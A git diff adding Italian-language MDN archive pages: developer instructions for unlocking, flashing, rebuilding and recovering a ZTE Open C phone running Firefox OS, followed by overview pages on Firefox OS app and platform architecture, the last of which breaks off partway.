+ <li>ZTE Open C UK (è probabile che il vostro dispositivo appartenga a quest'ultimo gruppo, soprattutto se comprato su Ebay).</li>
+</ul>
+
+<p>Dopo aver effettuato il rooting del vostro dispositivo con l'ausilio dell'Open C Upgrade Tool, scegliete l'immagine che preferite, a seconda del canale di sviluppo:</p>
+
+<ul>
+ <li>Aurora (l'immagine è aggiornata mensilmente);</li>
+ <li>Beta (l'immagine è aggiornata ogni due mesi);</li>
+ <li>Nightly (l'immagine è aggiornata quotidianamente).</li>
+</ul>
+
+<p>Prima di provvedere all'installazione tramite recovery mode, ricordate di verificare la carrispondenza del codice sha1.checksum, tramite il seguente comando:</p>
+
+<pre class="brush: bash  language-html"><span id=" result_box" lang="it"> sha1sum update-xxxxxxxxxxxxxx.zip </span></pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Immagini_di_sistema_fornite_da_Mozilla"><span id=" result_box" lang="it">Immagini di sistema fornite da Mozilla</span></h2>
+
+<p><span id=" result_box" lang="it">Se non vuoi aggiornare Gecko e Gaia con le procedure descritte nei paragrafi precedenti puoi utilizzare direttamente le immagini fornite da Mozilla per i dispositivi Flame. Dopo aver sblocccato il telefono con il programma di aggiornamento di ZTE, puoi scaricare un'immagine di sistema dalla cartella delle <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">nigthly builds</a>. Questo procedimento cancellerà tutti i tuoi dati. Per eseguire un backup del tuo profilo utente utilizza <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/backup_restore_profile.py">questo script</a> prima di scaricare la nuova immagine ma dopo aver sbloccato il telefono.</span></p>
+
+<p><span id=" result_box" lang="it">Scegli la distribuzione fra <em>mozilla-central</em>, <em>aurora </em>o <em>vanilla</em> e quindi scarica l'immagine con il runtime di Gecko. Ogni cartella ha una nomenclatura quale "2014-10-06-xx-yy-zz-mozilla-<em>distribuzione</em>-<em>nome_in_codice_del_dispositivo</em>" perciò tu dovrai cercare "2014-10-06-xx-yy-zz-mozilla-distribuzione-<strong>flame</strong>". L'immagine all'interno della cartella specifica la versione di Gecko e il linguaggio, "b2g-34.0a2.en-US.android-arm.tar.gz" identifica la versione 34 di Gecko e inglese-americano come linguaggio. Scarica "Gaia.zip" se vuoi aggiornare anche Gaia.</span></p>
+
+<p><span id=" result_box" lang="it">Per scaricare queste immagini sul telefono devi utilizzare lo script <strong>shallow_flash, </strong>che trovi <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.sh">qui</a>, scaricalo ed esegui i seguenti comandi attraverso un emulatore di terminale.<br>
+ <br>
+ Da Mac e Cygwin:</span></p>
+
+<pre class="brush: bash language-html"><span id=" result_box" lang="it"> ./shallow_flash.sh -g gaia.zip -G b2g-XX.XX.en-US.android-arm.tar.gz</span></pre>
+
+<p><span id=" result_box" lang="it">Da Linux:</span></p>
+
+<pre class="brush: bash  language-html"><span id=" result_box" lang="it"> ./shallow_flash.sh -ggaia.zip -Gb2g-XX.XX.en-US.android-arm.tar.gz</span></pre>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Aggiornamenti_manuali">Aggiornamenti "manuali"</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">desideri aggiornare</span> te stesso <span class="hps">Gecko</span> <span class="hps">o</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">il processo è</span> <span class="hps">un</span> <span class="hps">po' più complicato</span> <span class="hps">in quanto</span> <span class="hps">il telefono è bloccato</span> <span class="hps">di default</span> <span class="atn hps">(</span><span>senza</span> <span class="hps">privilegi di root</span><span>)</span><span>.</span> <span class="hps">Per sbloccare il telefono</span> <span class="hps">si può utilizzare il programma</span> <a href="http://en.comebuy.com/developer-firefox-os-open-c.html"><span class="hps">Open_C_upgrade_Tool</span> disponibile sul sito <span class="hps">comebuy.com</span></a><span> che</span> ti permette di aggiornare<span class="hps"> il firmware</span> <span class="hps">per consentire l'accesso</span> come<span class="hps"> root</span> <span class="hps">e abilitare</span> <span class="hps">fastboot</span><span>.</span></span> <span id="result_box" lang="it"><span class="hps">Con</span> <span class="hps">questi privilegi</span> <span class="hps">puoi successivamente aggiornare il</span> <span class="hps">telefono con </span><span class="hps">nuove c</span><span class="hps">omponenti software.</span></span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Questo programma di aggiornamento è disponibile solo per Wondows per ora.</p>
+</div>
+
+<p>Se vuoi sbloccare il telefono da OS X o Linux, segui la seguente procedura:</p>
+
+<ol>
+ <li>Scarica l'immagine disponibile al sito comebuy.com tramite il link riportato sopra (indicata con ZTE_OPENC_EU).</li>
+ <li>Fai l'unzip dell'immagine, dovresti trovare <code>boot.img</code>.</li>
+ <li>Aggiungi le seguenti linee in /etc/udev/android.rules:</li>
+ <li>
+  <pre class="language-html"><code class="language-html">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", ATTR{idProduct}=="1350", MODE="0666", GROUP="plugdev"
+SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d00d", MODE="0666", GROUP="plugdev"</code></pre>
+ </li>
+ <li><span id="result_box" lang="it"> Riavvia il dispositivo nella modalità <em>fastboot</em> utilizzando il comando:</span>
+  <pre class="brush: bash language-html" id="comment_text_2"><code class="language-bash">adb reboot-bootloader</code></pre>
+ </li>
+ <li><span id=" result_box" lang="it">Carica sul dispositivo la nuova immagine <code>boot.img</code> utilizzando il seguente comando:</span>
+  <pre class="brush: bash  language-html">fastboot flash boot boot.img </pre>
+   <span id=" result_box" lang="it">Se preferisci, per verificre il corretto funzionamento della build prima di caricare la nuova immagine, puoi utilizzare il comando:</span>
+
+  <pre class="brush: bash  language-html">  fastboot boot boot.img</pre>
+ </li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it">Riavvia il dispositivo utilizzando:</span></span></span>
+  <pre class="brush: bash  language-html">fastboot reboot </pre>
+ </li>
+ <li><span lang="it"><span lang="it">Ora dovresti avere un telefono sbloccato. Per verificare, il seguente comando dovrebbe restituire 0:</span> </span>
+  <pre class="brush: bash  language-html">adb shell getprop ro.secure</pre>
+ </li>
+</ol>
+
+<h3 id="Aggiornare_Gecko_e_Gaia"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Aggiornare Gecko e Gaia</span></span></h3>
+
+<p><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it"><span class="hps">Dopo aver abilitato </span><span class="hps">fastboot,</span> <span>potrai</span><span class="hps"> </span><a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS"><span class="hps">costruire e installare per Firefox OS/B2G</span></a></span></span></span><span lang="it"><span lang="it"><span lang="it"><span class="hps"> le nuove componenti Gecko e Gaia.</span></span></span></span><span lang="it"><span lang="it"><span lang="it"><span lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"> </span></span></span></span></span></span></p>
+
+<div class="warning">
+<p><strong>Warning</strong>: Questo non significa che puoi installare un immagine completa per Flame. R<span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">enderebbe il telefono <strong>permanentemente </strong>inutilizzabile.</span></span></span></p>
+</div>
+
+<ol>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it">Parti dai<a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites"> prerequisiti di build</a> e tratta l'Open C come se fosse un dispositivo Flame ai fini della configurazione: questo perchè Flame e Open C sono entrambi basati sul sistema Android Jellybean.</span></span> </li>
+</ol>
+
+<ol>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it">Durante lo step di configurazione è necessario fare riferimento ad un file di manifesto personalizzato per l'Open C. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1016867">Scarica l'allegato di questa segnalazione di bug</a> e salvalo localmente sul tuo disco fisso in un posto facilmente indirizzabile col nome di <code>openc.xml</code>.</span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it"><span class="hps">Ripulisci</span> <span class="hps">la directory</span> <span class="hps">B2G</span><span>,</span> <span class="hps">rimuovendo le</span> <span class="hps">cartelle non necessarie</span><span>:</span></span> </span></span>
+  <pre class="brush: bash  language-html"> rm -rf objdir-gecko/ out/ backup-flame/</pre>
+ </li>
+ <li><u>Opzionale</u>: Prima di procedere con gli step successivi, puoi scegliare la versione di build di Gecko e Gaia. Per far ciò, apri il tuo file <code>open.xml</code>, cerca i tag di progetto g<em>ecko.git</em>, <em>gaia</em>, e <em>gonk-misc</em> e modifica il valore dell'attributo <code>revision</code> per definire la build. Ad esempio puoi fare la build della versione 2.2. di Gecko and Gaia, modificando i valori di <code>revision</code> come mostrato di seguito:
+  <pre class="brush: xml  language-xml"><code class="language-xml"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>project</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gecko.git<span class="punctuation token">"</span></span> <span class="attr-name token">path</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gecko<span class="punctuation token">"</span></span> <span class="attr-name token">remote</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mozillaorg<span class="punctuation token">"</span></span> <span class="attr-name token">revision</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>v2.2<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+(...)
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>project</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gaia<span class="punctuation token">"</span></span> <span class="attr-name token">path</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gaia<span class="punctuation token">"</span></span> <span class="attr-name token">remote</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mozillaorg<span class="punctuation token">"</span></span> <span class="attr-name token">revision</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>v2.2<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>project</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gonk-misc<span class="punctuation token">"</span></span> <span class="attr-name token">path</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>gonk-misc<span class="punctuation token">"</span></span> <span class="attr-name token">remote</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>b2g<span class="punctuation token">"</span></span> <span class="attr-name token">revision</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>v2.2<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span></code></pre>
+
+  <div class="line-number" style="top: 57px;"> </div>
+ </li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it"><span class="hps">Ora configura Firefox OS con il seguente comando:</span> <span class="hps"> </span></span></span></span>
+  <pre class="brush: bash  language-html"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it"><span class="hps">./config.sh flame /PERCORSO/PER/openc.xml
+</span></span></span></span></pre>
+ </li>
+ <li><span lang="it"><span lang="it">Quindi puoi creare Gecko e installarlo sul telefono utilizzando i seguenti comandi: </span></span>
+  <pre class="brush: bash  language-html"><span lang="it"><span lang="it">./build.sh gecko
+./flash.sh gecko </span></span></pre>
+
+  <div class="note">
+  <p><strong>Nota</strong>: L'ultimo passo del comando <code>flash.sh</code> dovrebbe riavviare il dispositivo, ma la sequenza di avvio non si completerà (si bloccherà sulla spash page con la volpe animata). Non preoccuparti, è normale.</p>
+  </div>
+ </li>
+ <li>
+  <p><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id="result_box" lang="it"><span class="hps">Ora dovrai aggiornare anche Gaia</span><span>, in modo tale che sul dispositivo la versione di Gecko lavorerà con la versione di Gaia.</span></span></span></span></span></p>
+
+  <pre class="brush: bash  language-html">cd gaia
+make reset-gaia</pre>
+
+  <p>In altrernativa, se vorrai installare anche <a href="https://wiki.mozilla.org/Firefox_OS/Spark">Spark </a>potrai utilizzare i seguenti comandi:</p>
+
+  <pre dir="rtl">cd gaia
+make GAIA_DISTRIBUTION_DIR=distros/spark GAIA_DEV_PIXEL_PER_PX=1.5 make reset-gaia</pre>
+ </li>
+ <li><span>Infine, </span>potresti aver bisogno di <a href="https://developer.mozilla.org/it/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C#Aggiornamento_dei_font">aggionare i font</a>.</li>
+</ol>
+
+<div class="warning">
+<p><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><strong>Attenzione: </strong>Installando un'immagine completa di Flame sul dispositivo renderebbe inutilizzabile il telefono. (Questo perchè <code>flash.sh</code> utilizza <code>adb push</code> invece di <code>fastboot flash</code>)</span></span></span></p>
+</div>
+
+<h3 id="sect3"> </h3>
+
+<h3 id="Aggiornare_Gaia"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Aggiornare Gaia</span></span></span></h3>
+
+<p><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Per aggiornare solo Gaia, e non Gecko, devi fare un <em>fork </em>e quindi clonare il repository di Gaia da Github e successivamente installarlo sul dispositivo.</span></span></span></p>
+
+<ol dir="ltr">
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Assicurati di avere <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> installato.</span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Vai alla pagina <a href="https://github.com/mozilla-b2g/gaia">https://github.com/mozilla-b2g/gaia</a>, quindi fai clic sul pulsante "fork" nell'angolo in alto a destra per<em> </em>disporre del codice nel tuo repository personale.</span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Copia il codice dal repository che hai precedentemente creato sul tuo desktop/laptop utilizzando il seguente comando dal tuo terminale:</span></span></span>
+  <pre class="brush: bash  language-html"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">git clone https://github.com/your-github-username/gaia.git</span></span></span></pre>
+ </li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Sempre dal terminale fai<code> cd</code> nella cartella creata.</span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Sul tuo dispositivo, <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">abilita il debugging remoto</a> (seleziona le opzioni ADB e Devtools).</span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Ora collega il telefono al computer via USB e controlla che sia stato riconosciuto eseguendo il comando  <code>adb devices</code> all'interno del terminale.</span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Esegui il seguente comando per riavviare il telefono e aggiornarlo col nuovo codice sorgente Gaia: </span></span> </span>
+  <pre class="brush: bash  language-html"><span lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">make reset-gaia</span></span></span></pre>
+ </li>
+</ol>
+
+<h3 id="Aggiornamento_dei_font"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Aggiornamento dei font</span></span></span></h3>
+
+<p><span id=" result_box" lang="it">Dopo aver aggiornato Gecko/Gaia, potresti riscontrare un'incoerenza fra i font che Gecko e Gaia si aspettano e quelli che vengono forniti con l'immagine. Per fissare questo difetto scarica il nostro <a href="https://people.mozilla.org/%7Emwu/fira-font-update.zip">pacchetto per l'aggiornamento dei font</a>, estrai il contenuto, spostati all'interno della cartella ed esegui lo script flash.sh.</span></p>
+
+<p><span id=" result_box" lang="it">Un'altra possibilità è quella di utilizzare lo script <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh">update_system_fonts.sh</a>, che scaricherà e installerà i font di sistema automaticamente.</span></p>
+
+<p> </p>
+
+<h2 id="Il_mio_telefono_non_è_più_utilizzabile"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Il mio telefono non è più utilizzabile</span></span></span></h2>
+
+<p><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it">Se il tuo telefono non dovesse più rispondere ai comandi, dovresti essere in grado di ripristinarlo utilizzando le immagini ufficiali e le istruzioni per installarle tramite scheda SD, sul sito web di ZTE:</span></span></span></p>
+
+<ul>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><a href="http://www.ztedevices.com/support/smart_phone/65229ec9-3165-424e-a7dd-3759356325fd.html?type=software">ZTE Open C (Ebay) - Spain</a></span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><a href="http://www.ztedevices.com/support/smart_phone/92f36c98-9cc0-42d6-8f23-8834b4a6849c.html?type=software">ZTE Open C (Ebay) - UK American Standard</a></span></span></span></li>
+ <li><span id=" result_box" lang="it"><span id=" result_box" lang="it"><span id=" result_box" lang="it"><a href="http://www.ztedevices.com/support/smart_phone/46d40c52-bed4-4cdc-9df9-01719cdf0a70.html?type=software">ZTE Open C (Ebay) - UK European Standard</a></span></span></span></li>
+ <li><a href="http://www.ztefrance.com/assistance/">ZTE French Website - French</a><br>
+   </li>
+</ul>
+
+<p><span id=" result_box" lang="it"><span lang="it"><span lang="it">Invece, se la partizione di sistema è difettosa, dovrai riparare il telefono utilizzando l'accesso diretto con fastboot. Assumendo che tu stia utilizzando Ubuntu GNU/Linux:</span></span></span></p>
+
+<ol>
+ <li>Scarica <a href="http://download.ztedevice.com/UpLoadFiles/product/550/4443/soft/2014061214153128.zip">l'immagine di sistema </a>di recovery dalla pagina di supporto di ZTE e estrai l'archivio <code>update.zip</code> sul tuo desktop (<code>~/Desktop/</code>).</li>
+ <li>Estrai il file <code>recovery.img</code> dall'archivio <code>update.zip</code> e salvalo sul tuo desktop.</li>
+ <li>Crea una cartella <code>small-system/ </code>sul tuo desktop e copia all'interno il file <strong><code>build.prop</code></strong> e le cartelle <strong>lib/</strong> e <strong><code>bin/</code></strong> che troverai nell'archio <code>update.zip</code> all'interno della cartella <code>system</code>.</li>
+ <li>Installa il pacchetto <code>android-tools-fsutils</code> (o installa <code><a href="http://forum.xda-developers.com/attachment.php?attachmentid=2431494&amp;d=1386115975">ext4_utils</a></code> dai sorgenti seguendo questa pagina di <a href="http://forum.xda-developers.com/galaxy-s2/general/ref-unpacking-repacking-stock-rom-img-t1081239">XDAdevelopers</a>).</li>
+ <li>Crea la tua immagine <code>small-system.img</code>:
+  <pre class="brush: bash  language-html"><code class="language-bash">make_ext4fs -l 53M small-system.img ~/Desktop/small-system/</code></pre>
+ </li>
+ <li>Sposta <code>small-system.img</code> sul desktop e riavvia il tuo dispositivo nella modalità  <em>fastboot</em> premendo i tasti di power + <em>volume down</em>.</li>
+ <li>Connetti il dispositivo al tuo computer (<code>fastboot devices</code> dovrebbe mostrare il dispositivo) e carica <code>small-system.img</code> su di esso:
+  <pre class="brush: bash  language-html"><code class="language-bash">fastboot flash system ~/Desktop/small-system.img</code></pre>
+ </li>
+ <li>Quindi riavvia nella modalità di <em>recovery</em> utilizzando <code>recovery.img</code>:
+  <pre class="brush: bash  language-html"><code class="language-bash">fastboot boot ~/Desktop/recovery.img</code></pre>
+ </li>
+ <li>Dal menu di boot seleziona <em>apply update from ADB</em> entry (utilizzando <em>volume up</em> <em>e volume down</em> per navigare e <em>power</em> per selezionare) e quindi:
+  <pre class="brush: bash  language-html"><code class="language-bash">adb sideload ~/Desktop/update.zip</code></pre>
+ </li>
+ <li>
+  <p class="brush: bash  language-html">Alla fine del processo riavvia il telefono.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Fai riferimento a <a href="https://support.mozilla.org/en-US/questions/1003136">questo articolo nel supporto </a>per maggiori informazioni.</p>
+</div>
diff --git a/files/it/archive/b2g_os/platform/apps_architecture/index.html b/files/it/archive/b2g_os/platform/apps_architecture/index.html
new file mode 100644
index 0000000000..4a8abbf3f8
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/apps_architecture/index.html
@@ -0,0 +1,38 @@
+---
+title: Architettura delle apps di Firefox OS
+slug: Archive/B2G_OS/Platform/Apps_architecture
+tags:
+  - Apps
+  - Architettura
+  - Firefox OS
+  - Guida
+translation_of: Archive/B2G_OS/Platform/Apps_architecture
+---
+<div class="summary">
+<p>Questo articolo spiega i dettagli su come le applicazioni sono eseguite e gestite in Firefox OS. Queste informazioni saranno utili per la piattaforma degli sviluppatori di Firefox OS oltre che ai singoli team al lavoro per portare il sistema operativo verso nuovo hardware. Se sei uno sviluppatore di app queste informazioni potrebbero non esserti necessarie ma potresti comunque esserne interessato.</p>
+</div>
+
+<h2 id="Il_processo_di_avvio_delle_app">Il processo di avvio delle app</h2>
+
+<p>Quando l'utente seleziona l'app che desidera avviare, o quando un'app deve essere lanciata dal sistema, nella home screen viene inserito un collegamento dalla {{domxref("App")}} API, successivamente viene fatta una chiamata al metodo {{domxref("App.launch()")}} per avviare l'applicazione.</p>
+
+<p>Gecko riceve la richiesta e invia il {{domxref("mozChromeEvent")}} all' app di sistema con i dettagli. L' app di sistema gestisce l'evento inserendo un nuovo {{HTMLElement("iframe")}} all'interno del suo DOM tree e caricando l' app all'interno del nuovo {{HTMLElement("iframe")}}. Quel frame sarà l'home della app fino al momento in cui terminerà.</p>
+
+<p>Ogni app richiede un manifest che la descrive ed ha una particolare gerarchia all'interno del suo contenitore. Per dettagli è disponibile l'articolo <a href="/en-US/docs/Web/Apps/App_Manifest">App manifest</a>.</p>
+
+<h2 id="Comunicare_con_Gecko">Comunicare con Gecko</h2>
+
+<p>La comunicazione tra Gecko e l'app di sistema Gaia è effettuata tramite {{domxref("mozChromeEvent")}} e {{domxref("mozContentEvent")}}. <code>mozChromeEvent</code>s sono trasmessi da chrome al contenuto e <code>mozContentEvent</code>s sono trasmessi dal contenuto a chrome. La comunicazione è utilizzata per controllare la creazione e la chiusura sicura della UI per inserire le funzioni richieste per le notifiche e per gli altri compiti, incluso l'avviso all' app di sistema di avviare un' app.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Puoi trovare ulteriori informazioni sul funzionamento di questi eventi leggendo la nostra documentazione<strong> </strong><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/System">System app documentation</a>. Puoi anche imparare molto sulle implementazioni dando un'occhiata al codice {{source("b2g/chrome/content/shell.js")}}.</p>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps">Apps</a></li>
+ <li>{{domxref("App")}}</li>
+ <li><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/System">System app</a></li>
+ <li><a href="/en-US/Firefox_OS/Platform/Architecture">Firefox OS architecture</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/platform/architecture/index.html b/files/it/archive/b2g_os/platform/architecture/index.html
new file mode 100644
index 0000000000..c226b82a56
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/architecture/index.html
@@ -0,0 +1,761 @@
+---
+title: Visione architetturale di insieme
+slug: Archive/B2G_OS/Platform/Architecture
+tags:
+  - Architettura
+  - B2G
+  - Firefox OS
+  - Guida
+  - IPC
+  - IPDL
+translation_of: Archive/B2G_OS/Architecture
+---
+<div class="summary">
+<p><span class="seoSummary">Questo articolo offre una panoramica di alto livello dell'architettura della piattaforma Firefox OS, introducendo concetti chiave e spiegando come le sue componenti interagiscono a livello base.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> <span id="result_box" lang="it"><span class="hps">Tieni presente che</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">è ancora un prodotto in</span> <span class="hps">pre-release</span><span>.</span> <span class="hps">L'architettura</span> <span class="hps">qui descritta</span> <span class="hps">non è necessariamente</span> <span class="hps">definitiva</span><span>.</span></span></p>
+</div>
+
+<h2 id="Terminologia">Terminologia</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Seguono alcuni termini che vanno compresi</span><span class="hps"> prima</span> <span class="hps">di procedere oltre con la lettura della </span><span class="hps">documentazione</span>.</span></p>
+
+<dl>
+ <dt>B2G</dt>
+ <dd>In breve Boot to Gecko.</dd>
+ <dt>Boot to Gecko</dt>
+ <dd>Il nome in codice del sistema operativo Firefox OS. Vedrai spesso questo termine riferito a Firefox OS, in quanto venne usato a lungo prima che il progetto avesse un nome ufficiale.</dd>
+ <dt>Firefox OS</dt>
+ <dd>Firefox OS è fondamentalmente Mozilla (e i partner OEM) con i rispettivi brand e servizi di supporto e il sistema<strong> Boot to Gecko</strong>, con l'obiettivo di crearne un prodotto finito.</dd>
+ <dt><a href="/it/Firefox_OS/Platform/Gaia" title="/it/Firefox_OS/Platform/Gaia">Gaia</a></dt>
+ <dd>
+ <div class="almost_half_cell" id="gt-res-content">
+ <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="it"><span class="hps">L'interfaccia utente</span> <span class="hps">della piattaforma</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span> <span class="hps">Ogni oggetto rappresentato sullo schermo, dopo aver avviato</span> <span class="hps">Firefox</span> <span class="hps">OS</span>, viene gestito dallo strato di Gaia<span>.</span> <span class="hps">Gaia</span> <span class="hps">implementa</span> <span class="hps">la schermata di</span> <span class="hps">blocco, la schermata iniziale</span><span>,</span> <span class="hps">e tutte le</span> <span class="hps">applicazioni standard</span> <span class="hps">che ci si aspetta</span> <span class="hps">in</span> <span class="hps">un moderno smartphone</span><span>.</span> <span class="hps">Gaia</span> <span class="hps">è implementato</span> <span class="hps">interamente con</span> <span class="hps">HTML</span><span>, CSS e</span> <span class="hps">JavaScript</span><span>.</span> <span class="hps">Le sue</span> <span class="hps">uniche interfacce</span> <span class="hps">al sistema</span> <span class="hps">operativo sottostante</span> <span class="hps">sono attraverso</span> <span class="hps">le open Web API.</span> <span class="hps">implementate dallo strato di Gecko. </span><span class="hps">Applicazioni di terze parti</span> <span class="hps">possono essere installate</span> attraverso <span class="hps">Gaia</span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dt><a href="/it/docs/Gecko" title="/it/docs/Gecko">Gecko</a></dt>
+ <dd>È l’ambiente di esecuzione delle app di Firefox OS; cioè, lo strato che fornische tutto il supporto per gli standard HTML, CSS e JavaScript. Garantisce che tutte le API siano correttamente funzionanti su ogni sistema operativo supportato da Gecko. Questo significa che Gecko include, fra l'altro, uno stack di rete, uno grafico, un motore che realizza il layout del contenuto, una macchina virtuale per l’esecuzione di codice JavaScript e livelli di portabilità per differenti piattaforme.</dd>
+ <dt><a href="/it/Firefox_OS/Platform/Gonk" title="it/Firefox_OS/Platform/Gonk">Gonk</a></dt>
+ <dd>Gonk è il sistema operativo di basso livello della piattaforma Firefox OS, consiste di un Kernel Linux (derivato da quello sviluppato nel progetto <a href="http://source.android.com/">Android Open Source Project</a> (AOSP)) e di uno strato di astrazione dell'hardware nello spazio di indirizzamento utente (<em>userspace HAL</em>). Il kernel e numerose librerie userspace sono noti progetti open source: Linux, libusb, bluez e via dicendo. Alcune parti del HAL sono condivise con il progetto AOSP: il GPS, la fotocamera, e altri. Si potrebbe dire che Gonk è una distribuzione di Linux. Gonk è uno dei sistemi su cui viene portato Gecko; cioè, così come c'è un porting di Gecko per Gonk, c'è un porting di Gecko per Mac OS, Windows e Android. Poichè il progetto Firefox OS ha il pieno controllo su Gonk, si possono esporre interfacce a Gecko che non possono essere esposte da altri sistemi operativi. Per esempio, Gecko ha accesso diretto allo stack di telefonia e al frame buffer di Gonk, ma non ha il medesimo accesso in ogni altro sistema operativo.</dd>
+ <dt>Jank</dt>
+ <dd><span lang="it"><span class="hps">Questo termine</span><span> normalmente </span><span class="hps">utilizzato </span><span class="hps">nel mondo delle</span> <span class="hps">app mobili</span><span>,</span> <span class="hps">si riferisce all'effetto</span> <span class="hps">di</span> <span class="hps">lentezza piuttosto che di inefficienza indotto da codice non ottimizzato </span></span><span id="result_box" lang="it"><span>che </span></span>blocca<span lang="it"><span class="hps"><span id="result_box" lang="it"> <span class="hps">l'aggiornamento</span> <span class="hps">dell'interfaccia utente</span> <span class="hps">causando</span> <span class="hps">crash o</span> <span class="hps">ritardi nella risposta</span><span>.</span> <span class="hps">I nostri ingegneri</span> <span class="hps">lavorano su</span> <span class="hps">Gaia</span> <span class="hps">utilizzano varie</span> <span class="hps">tecniche </span><span class="hps">per cercare di</span> <span class="hps">evitare questo</span><span> effetto a tutti i costi.</span></span></span></span></dd>
+</dl>
+
+<h2 id="Architettura_d'insieme">Architettura d'insieme</h2>
+
+<p>Nella seguente immagine viene confrontata l'architettura di piattaforme proprietarie e quella di Firefox OS.</p>
+
+<p><img alt="on the left is a native mobile architecture stack, on the right is the Firefox OS architecture. they are similarm
+except that the native stack is all proprietary device functionality, and the Firefox OS stack is all done with open source and we
+b technologies." src="https://mdn.mozillademos.org/files/9487/general-architecture.png" style="display: block; height: 488px; margin: 0px auto; width: 997px;"></p>
+
+<p>Firefox OS ha eliminato lo strato di API native fra il sistema operativo e gli strati applicativi. Questa soluzione integrata riduce il carico della piattaforma e semplifica la gestione della sicurezza senza sacrificare le prestazioni e una ricca esperienza utente.</p>
+
+<ol>
